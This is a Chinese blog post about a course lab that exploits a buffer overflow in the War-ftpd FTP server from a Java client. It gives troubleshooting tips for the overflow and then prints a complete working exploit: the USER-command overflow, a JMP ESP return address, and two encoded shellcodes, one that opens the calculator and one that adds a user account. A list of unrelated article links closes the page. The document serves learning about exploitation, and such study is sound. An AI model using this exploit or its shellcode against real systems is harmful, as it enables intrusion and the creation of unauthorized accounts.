发表这篇文章的最重要原因是,在用Java实现War-ftpd缓冲区溢出实验时,我遇到了很多问题,而且我认为这些问题

都是非常不容易发现和解决的,为了以后学习的同学的便利,此处写下自己遇到的问题作为分享。

@1:不管是通过cdb挂起还是通过直接双击打开War-ftpd都会出现“Unknown file format for user database”的弹窗,

解决方法:删除掉FtpDaemon.dat文件。

@2:如果在C:\Documents and Settings\Administrator目录(CMD默认目录)下执行"C:\Program Files\Debugging

Tools for Windows\cdb.exe" "C:\lxw_Exp2\War-ftpd\war-ftpd.exe"命令,则会始终出现(即使是删除掉C:\lxw_E

xp2\War-ftpd \FtpDaemon.dat文件)“Unknown file format for user database”的弹窗。

解决方法:通过绝对路径访问程序(对于通过环境变量调用cdb.exe程序和war-ftpd.exe也会存在这样的问题),

程序运行的一些文件(FtpDaemon.dat文件)会保留在当前目录下(也就是C:\Documents and Settings\Administrator

目录下),所以需要将该目录下的FtpDaemon.dat文件一同删掉。

@3:最初在实现该实验程序部分时,实验能够使War-ftpd发生缓冲区溢出的错误,但EIP和ESP的值在cdb调试时总是会出现

问题,不能够吻合,所以也就无法成功的执行shellCode。如果以String类型的变量存储要发送的字符串,例如:

String str ="USER ";
//攻击代码构建:
//0-484
for(int i = 0; i < 485; ++i)
{
str += (char)0x41;
}
str += (char)0x12;
str += (char)0x45;
str += (char)0xfa;
str += (char)0x7f; //7ffa4512

OutputStream os = client.getOutputStream();
os.write(str.getBytes());

则发送的JMP ESP部分的16进制变为5个字节不再是4个字节【这儿一定要注意】。

所以也就导致了JMP ESP地址覆盖到RET不成功,也就导致了虽然War-ftpd成功的溢出,但shellCode却不能被成功的执行。

解决方法:全部的数据(USER + 填充字符 + 0x7ffa4512 + 填充字符 + shellcode + “\r\n”)【直接采用byte数组的

形式】进行发送。

@4:发送的byte数组最后一个字符必须是字符‘\n’对应的byte型数据,否则将不能成功的使shellCode被执行,实际上是连

War-ftpd都没有发生溢出。这个问题比较不容易发现。

-----------------------------------2014.11.22 补充--------------------------------------------------------

  非常高兴这篇博客能够帮到一些同学,在这里把我的代码贴上来,仅供大家参考:

import java.net.* ;
import java.io.* ;
import java.util.Scanner;
public class Client
{
public static void main(String args[]) throws Exception
{
InetAddress inet3 = InetAddress.getLocalHost();
//获得对象中存储的IP
String ipAddr = inet3.getHostAddress();
Socket client = new Socket(ipAddr, 21) ; //客户端
byte[] be = new byte[1000]; //攻击代码构建:
//0-484
int i = 0;
be[i++] = 'U';
be[i++] = 'S';
be[i++] = 'E';
be[i++] = 'R';
be[i++] = ' '; for(i = 5; i < 490; ++i)
{
be[i] = 'A';
} be[i++] = (byte)0x12;
be[i++] = (byte)0x45;
be[i++] = (byte)0xfa;
be[i++] = (byte)0x7f; //0x7ffa4512 for(int j = 0; j < 4; ++j)
{
be[i++] = 'B';
} //打开计算器的shellCode
byte ch1[] =
{
(byte)0xeb,(byte)0x03,(byte)0x59,(byte)0xeb,(byte)0x05,(byte)0xe8,(byte)0xf8,(byte)0xff,(byte)0xff,(byte)0xff,(byte)0x4f,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x51,(byte)0x5a,(byte)0x56,(byte)0x54,(byte)0x58,(byte)0x36,(byte)0x33,(byte)0x30,(byte)0x56,(byte)0x58,(byte)0x34,(byte)0x41,(byte)0x30,(byte)0x42,(byte)0x36,(byte)0x48,(byte)0x48,(byte)0x30,(byte)0x42,(byte)0x33,(byte)0x30,(byte)0x42,(byte)0x43,(byte)0x56,(byte)0x58,(byte)0x32,(byte)0x42,(byte)0x44,(byte)0x42,(byte)0x48,(byte)0x34,(byte)0x41,(byte)0x32,(byte)0x41,(byte)0x44,(byte)0x30,(byte)0x41,(byte)0x44,(byte)0x54,(byte)0x42,(byte)0x44,(byte)0x51,(byte)0x42,(byte)0x30,(byte)0x41,(byte)0x44,(byte)0x41,(byte)0x56,(byte)0x58,(byte)0x34,(byte)0x5a,(byte)0x38,(byte)0x42,(byte)0x44,(byte)0x4a,(byte)0x4f,(byte)0x4d,(byte)0x4e,(byte)0x4f,(byte)0x4a,(byte)0x4e,(byte)0x46,(byte)0x54,(byte)0x42,(byte)0x50,(byte)0x42,(byte)0x50,(byte)0x42,(byte)0x30,(byte)0x4b,(byte)0x58,(byte)0x45,(byte)0x34,(byte)0x4e,(byte)0x33,(byte)0x4b,(byte)0x38,(byte)0x4e,(byte)0x37,(byte)0x45,(byte)0x30,(byte)0x4a,(byte)0x57,(byte)0x41,(byte)0x30,(byte)0x4f,(byte)0x4e,(byte)0x4b,(byte)0x48,(byte)0x4f,(byte)0x44,(byte)0x4a,(byte)0x31,(byte)0x4b,(byte)0x38,(byte)0x4f,(byte)0x45,(byte)0x42,(byte)0x52,(byte)0x41,(byte)0x30,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x54,(byte)0x4b,(byte)0x38,(byte)0x46,(byte)0x53,(byte)0x4b,(byte)0x48,(byte)0x41,(byte)0x30,(byte)0x50,(byte)0x4e,(byte)0x41,(byte)0x33,(byte)0x42,(byte)0x4c,(byte)0x49,(byte)0x59,(byte)0x4e,(byte)0x4a,(byte)0x46,(byte)0x38,(byte)0x42,(byte)0x4c,(byte)0x46,(byte)0x47,(byte)0x47,(byte)0x30,(byte)0x41,(byte)0x4c,(byte)0x4c,(byte)0x4c,(byte)0x4d,(byte)0x30,(byte)0x41,(byte)0x30,(byte)0x44,(byte)0x4c,(byte)0x4b,(byte)0x4e,(byte)0x46,(byte)0x4f,(byte)0x4b,(byte)0x53,(byte)0x46,(byte)0x45,(byte)0x46,(byte)0x32,(byte)0x46,(byte)0x50,(byte)0x45,(byte)0x37,(byte)0x45,(byte)0x4e,(byte)0x4b,(byte)0x48,(byte)0x4f,(byte)0x45,(byte)0x46,(byte)0x42,(byte)0x41,(byte)0x30,(byte)0x4b,(byte)0x4e,(byte)0x48,(byte)0x46,(byte)0x4b,(byte)0x38,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x44,(byte)0x4b,(byte)0x58,(byte)0x4f,(byte)0x45,(byte)0x4e,(byte)0x41,(byte)0x41,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x4b,(byte)0x48,(byte)0x4e,(byte)0x51,(byte)0x4b,(byte)0x38,(byte)0x41,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x48,(byte)0x4e,(byte)0x35,(byte)0x46,(byte)0x52,(byte)0x46,(byte)0x50,(byte)0x43,(byte)0x4c,(byte)0x41,(byte)0x33,(byte)0x42,(byte)0x4c,(byte)0x46,(byte)0x56,(byte)0x4b,(byte)0x38,(byte)0x42,(byte)0x34,(byte)0x42,(byte)0x53,(byte)0x45,(byte)0x38,(byte)0x42,(byte)0x4c,(byte)0x4a,(byte)0x37,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x38,(byte)0x42,(byte)0x54,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x48,(byte)0x42,(byte)0x37,(byte)0x4e,(byte)0x31,(byte)0x4d,(byte)0x4a,(byte)0x4b,(byte)0x48,(byte)0x4a,(byte)0x46,(byte)0x4a,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x30,(byte)0x4b,(byte)0x38,(byte)0x42,(byte)0x48,(byte)0x42,(byte)0x4b,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x30,(byte)0x4b,(byte)0x38,(byte)0x4a,(byte)0x36,(byte)0x4e,(byte)0x33,(byte)0x4f,(byte)0x55,(byte)0x41,(byte)0x53,(byte)0x48,(byte)0x4f,(byte)0x42,(byte)0x46,(byte)0x48,(byte)0x45,(byte)0x49,(byte)0x48,(byte)0x4a,(byte)0x4f,(byte)0x43,(byte)0x58,(byte)0x42,(byte)0x4c,(byte)0x4b,(byte)0x37,(byte)0x42,(byte)0x55,(byte)0x4a,(byte)0x56,(byte)0x42,(byte)0x4f,(byte)0x4c,(byte)0x58,(byte)0x46,(byte)0x30,(byte)0x4f,(byte)0x35,(byte)0x4a,(byte)0x46,(byte)0x4a,(byte)0x49,(byte)0x50,(byte)0x4f,(byte)0x4c,(byte)0x38,(byte)0x50,(byte)0x50,(byte)0x47,(byte)0x55,(byte)0x4f,(byte)0x4f,(byte)0x47,(byte)0x4e,(byte)0x43,(byte)0x56,(byte)0x41,(byte)0x46,(byte)0x4e,(byte)0x36,(byte)0x43,(byte)0x46,(byte)0x42,(byte)0x30,(byte)0x5a
}; //创建新用户的shellcode
byte ch2[] =
{
(byte)0xeb,(byte)0x03,(byte)0x59,(byte)0xeb,(byte)0x05,(byte)0xe8,(byte)0xf8,(byte)0xff,(byte)0xff,(byte)0xff,(byte)0x4f,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x51,(byte)0x5a,(byte)0x56,(byte)0x54,(byte)0x58,(byte)0x36,(byte)0x33,(byte)0x30,(byte)0x56,(byte)0x58,(byte)0x34,(byte)0x41,(byte)0x30,(byte)0x42,(byte)0x36,(byte)0x48,(byte)0x48,(byte)0x30,(byte)0x42,(byte)0x33,(byte)0x30,(byte)0x42,(byte)0x43,(byte)0x56,(byte)0x58,(byte)0x32,(byte)0x42,(byte)0x44,(byte)0x42,(byte)0x48,(byte)0x34,(byte)0x41,(byte)0x32,(byte)0x41,(byte)0x44,(byte)0x30,(byte)0x41,(byte)0x44,(byte)0x54,(byte)0x42,(byte)0x44,(byte)0x51,(byte)0x42,(byte)0x30,(byte)0x41,(byte)0x44,(byte)0x41,(byte)0x56,(byte)0x58,(byte)0x34,(byte)0x5a,(byte)0x38,(byte)0x42,(byte)0x44,(byte)0x4a,(byte)0x4f,(byte)0x4d,(byte)0x4e,(byte)0x4f,(byte)0x4a,(byte)0x4e,(byte)0x46,(byte)0x54,(byte)0x42,(byte)0x50,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x30,(byte)0x4b,(byte)0x38,(byte)0x45,(byte)0x54,(byte)0x4e,(byte)0x33,(byte)0x4b,(byte)0x48,(byte)0x4e,(byte)0x57,(byte)0x45,(byte)0x30,(byte)0x4a,(byte)0x57,(byte)0x41,(byte)0x30,(byte)0x4f,(byte)0x4e,(byte)0x4b,(byte)0x58,(byte)0x4f,(byte)0x44,(byte)0x4a,(byte)0x51,(byte)0x4b,(byte)0x38,(byte)0x4f,(byte)0x35,(byte)0x42,(byte)0x42,(byte)0x41,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x44,(byte)0x4b,(byte)0x38,(byte)0x46,(byte)0x43,(byte)0x4b,(byte)0x48,(byte)0x41,(byte)0x50,(byte)0x50,(byte)0x4e,(byte)0x41,(byte)0x33,(byte)0x42,(byte)0x4c,(byte)0x49,(byte)0x39,(byte)0x4e,(byte)0x4a,(byte)0x46,(byte)0x38,(byte)0x42,(byte)0x4c,(byte)0x46,(byte)0x47,(byte)0x47,(byte)0x30,(byte)0x41,(byte)0x4c,(byte)0x4c,(byte)0x4c,(byte)0x4d,(byte)0x30,(byte)0x41,(byte)0x30,(byte)0x44,(byte)0x4c,(byte)0x4b,(byte)0x4e,(byte)0x46,(byte)0x4f,(byte)0x4b,(byte)0x33,(byte)0x46,(byte)0x55,(byte)0x46,(byte)0x32,(byte)0x46,(byte)0x50,(byte)0x45,(byte)0x47,(byte)0x45,(byte)0x4e,(byte)0x4b,(byte)0x58,(byte)0x4f,(byte)0x45,(byte)0x46,(byte)0x32,(byte)0x41,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x48,(byte)0x36,(byte)0x4b,(byte)0x48,(byte)0x4e,(byte)0x30,(byte)0x4b,(byte)0x44,(byte)0x4b,(byte)0x48,(byte)0x4f,(byte)0x45,(byte)0x4e,(byte)0x51,(byte)0x41,(byte)0x30,(byte)0x4b,(byte)0x4e,(byte)0x4b,(byte)0x58,(byte)0x4e,(byte)0x51,(byte)0x4b,(byte)0x58,(byte)0x41,(byte)0x30,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x48,(byte)0x4e,(byte)0x45,(byte)0x46,(byte)0x42,(byte)0x46,(byte)0x30,(byte)0x43,(byte)0x4c,(byte)0x41,(byte)0x43,(byte)0x42,(byte)0x4c,(byte)0x46,(byte)0x36,(byte)0x4b,(byte)0x38,(byte)0x42,(byte)0x44,(byte)0x42,(byte)0x53,(byte)0x45,(byte)0x48,(byte)0x42,(byte)0x4c,(byte)0x4a,(byte)0x47,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x48,(byte)0x42,(byte)0x34,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x58,(byte)0x42,(byte)0x37,(byte)0x4e,(byte)0x41,(byte)0x4d,(byte)0x4a,(byte)0x4b,(byte)0x58,(byte)0x4a,(byte)0x36,(byte)0x4a,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x50,(byte)0x4b,(byte)0x58,(byte)0x42,(byte)0x38,(byte)0x42,(byte)0x4b,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x50,(byte)0x4b,(byte)0x38,(byte)0x4a,(byte)0x46,(byte)0x4e,(byte)0x33,(byte)0x4f,(byte)0x35,(byte)0x41,(byte)0x43,(byte)0x48,(byte)0x4f,(byte)0x42,(byte)0x56,(byte)0x48,(byte)0x35,(byte)0x49,(byte)0x58,(byte)0x4a,(byte)0x4f,(byte)0x43,(byte)0x38,(byte)0x42,(byte)0x4c,(byte)0x4b,(byte)0x37,(byte)0x42,(byte)0x45,(byte)0x4a,(byte)0x46,(byte)0x42,(byte)0x4f,(byte)0x4c,(byte)0x38,(byte)0x46,(byte)0x50,(byte)0x4f,(byte)0x35,(byte)0x4a,(byte)0x46,(byte)0x4a,(byte)0x49,(byte)0x50,(byte)0x4f,(byte)0x4c,(byte)0x58,(byte)0x50,(byte)0x50,(byte)0x47,(byte)0x35,(byte)0x4f,(byte)0x4f,(byte)0x47,(byte)0x4e,(byte)0x43,(byte)0x36,(byte)0x4d,(byte)0x56,(byte)0x46,(byte)0x56,(byte)0x50,(byte)0x52,(byte)0x45,(byte)0x36,(byte)0x4a,(byte)0x57,(byte)0x45,(byte)0x56,(byte)0x42,(byte)0x42,(byte)0x4f,(byte)0x32,(byte)0x43,(byte)0x46,(byte)0x42,(byte)0x52,(byte)0x50,(byte)0x56,(byte)0x45,(byte)0x46,(byte)0x46,(byte)0x57,(byte)0x42,(byte)0x42,(byte)0x45,(byte)0x57,(byte)0x43,(byte)0x37,(byte)0x45,(byte)0x36,(byte)0x44,(byte)0x57,(byte)0x42,(byte)0x32,(byte)0x50,(byte)0x46,(byte)0x42,(byte)0x43,(byte)0x42,(byte)0x53,(byte)0x44,(byte)0x56,(byte)0x42,(byte)0x42,(byte)0x50,(byte)0x36,(byte)0x42,(byte)0x53,(byte)0x42,(byte)0x43,(byte)0x44,(byte)0x36,(byte)0x42,(byte)0x42,(byte)0x4f,(byte)0x32,(byte)0x41,(byte)0x54,(byte)0x46,(byte)0x44,(byte)0x46,(byte)0x44,(byte)0x42,(byte)0x42,(byte)0x48,(byte)0x32,(byte)0x48,(byte)0x52,(byte)0x42,(byte)0x52,(byte)0x50,(byte)0x36,(byte)0x45,(byte)0x56,(byte)0x46,(byte)0x47,(byte)0x42,(byte)0x52,(byte)0x4e,(byte)0x56,(byte)0x4f,(byte)0x36,(byte)0x43,(byte)0x36,(byte)0x41,(byte)0x56,(byte)0x4e,(byte)0x56,(byte)0x47,(byte)0x56,(byte)0x44,(byte)0x57,(byte)0x4f,(byte)0x56,(byte)0x45,(byte)0x47,(byte)0x42,(byte)0x37,(byte)0x42,(byte)0x42,(byte)0x41,(byte)0x54,(byte)0x46,(byte)0x46,(byte)0x4d,(byte)0x56,(byte)0x49,(byte)0x46,(byte)0x50,(byte)0x56,(byte)0x49,(byte)0x46,(byte)0x43,(byte)0x57,(byte)0x46,(byte)0x57,(byte)0x44,(byte)0x37,(byte)0x41,(byte)0x56,(byte)0x46,(byte)0x37,(byte)0x4f,(byte)0x36,(byte)0x44,(byte)0x57,(byte)0x43,(byte)0x47,(byte)0x42,(byte)0x42,(byte)0x50,(byte)0x46,(byte)0x42,(byte)0x43,(byte)0x42,(byte)0x33,(byte)0x44,(byte)0x46,(byte)0x42,(byte)0x42,(byte)0x4f,(byte)0x52,(byte)0x41,(byte)0x44,(byte)0x46,(byte)0x44,(byte)0x46,(byte)0x44,(byte)0x42,(byte)0x30,(byte)0x5a
}; System.out.println("\nWar-ftpd缓冲区溢出攻击开始!\n");
System.out.println("请选择攻击操作:(1.打开计算器\t2.添加用户)\n");
Scanner sc = new Scanner(System.in);
int num = sc.nextInt();
switch(num)
{
case 1:
{
int length = ch1.length;
for(int j = 0; j < length; ++j)
{
be[i++] = ch1[j];
}
}
break;
case 2:
{ int length = ch2.length;
for(int j = 0; j < length; ++j)
{
be[i++] = ch2[j];
}
}
break;
}
be[i++] = '\r';
be[i++] = '\n';
//最终的攻击代码
byte [] b = new byte[i];
for(int j = 0; j < i; ++j)
{
//System.out.print(be[j] + "\t");
b[j] = be[j];
} OutputStream os = client.getOutputStream();
os.write(b);
os.flush();
os.close();
client.close();
System.out.println("\nWar-ftpd缓冲区溢出攻击结束!\n");
}
};

最新文章

  1. 开发人员应该对IIS理论层的知识了解的多一些~第四讲 HttpModule中的几大事件
  2. javascript 中 filter 方法
  3. 一条命令使win7可以直接运行.net3.5程序
  4. unset之讲解
  5. 根据路径获得文件名以及Aspose.Cells.dll操作excel 以及使用iTextSharp.text.pdf.PdfReader.dll对PDF的操作
  6. Delphi GDI+基本用法总结
  7. 【转】分析器窗口 Profiler window
  8. java Enum 用法示例
  9. 素数与素性测试(Miller-Rabin测试)
  10. Type Correlation
  11. hdu4352(数位dp)
  12. Conversion to Dalvik format failed: Unable to execute dex
  13. HttpClient研究学习总结
  14. 第七章:Python基础のXML操作和面向对象(一)
  15. Sass和Compass入门
  16. [BZOJ1610] [Usaco2008 Feb] Line连线游戏 (set)
  17. Python:正则表达式详解
  18. Angela启动步骤
  19. iOS架构设计系列之解耦的尝试之变异的MVVM
  20. JMeter:生成漂亮的接口/压力测试的HTML报告

热门文章

  1. div横向排列
  2. 520. Detect Capital【easy】
  3. sigaction()之sa_mask
  4. LNMP平滑升级nginx并安装ngx_lua模块教程
  5. Linux 脚本点滴知识积累
  6. Sphinx 安装与使用(1)-- 安装Coreseek
  7. 通过可编程的对象模型,JavaScript 获得了足够的能力来创建动态的 HTML。
  8. Gmail 邮件配置备忘
  9. PHP POST, GET 参数过滤,预防sql注入函数
  10. dedecms代码详解 很全面